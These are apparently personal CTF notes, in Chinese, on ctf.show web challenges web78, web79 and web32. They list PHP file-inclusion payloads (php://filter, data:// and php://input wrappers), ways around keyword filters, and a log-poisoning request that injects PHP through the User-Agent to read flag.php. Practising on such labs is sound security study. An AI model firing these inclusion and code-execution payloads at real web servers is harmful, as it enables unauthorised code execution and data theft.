-
web78
啥都没过滤,一般伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=data://text/plain,<?php%20system(%27tac%20flag.php%27);?> -
web79
str_replace(“php”, “???”, $file)
①替换了php,用base64绕过
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTsgPz4=
②用通配符绕后缀
?file=data://text/plain,<?=system('tac flag*');?>
③没有i的大小写绕php,用input POST
POST /?file=Php://input HTTP/1.1
<?Php system('cat flag.php');?>
- web32
!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i”, $c))
过滤了超多括号都没了,可以用参数的姿势。
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
或者日志注入,这里有eval就直接命令执行,要是没有eval就一句话进去,但是我不清楚路径啊,挖坑。
GET /?c=include$_GET[1]?>&1=/var/log/nginx/access.log HTTP/1.1
Host: 9b3d5c3e-437b-416a-9362-277bbc693996.challenge.ctf.show
User-Agent: <?php system('tac flag.php');?>
-
web33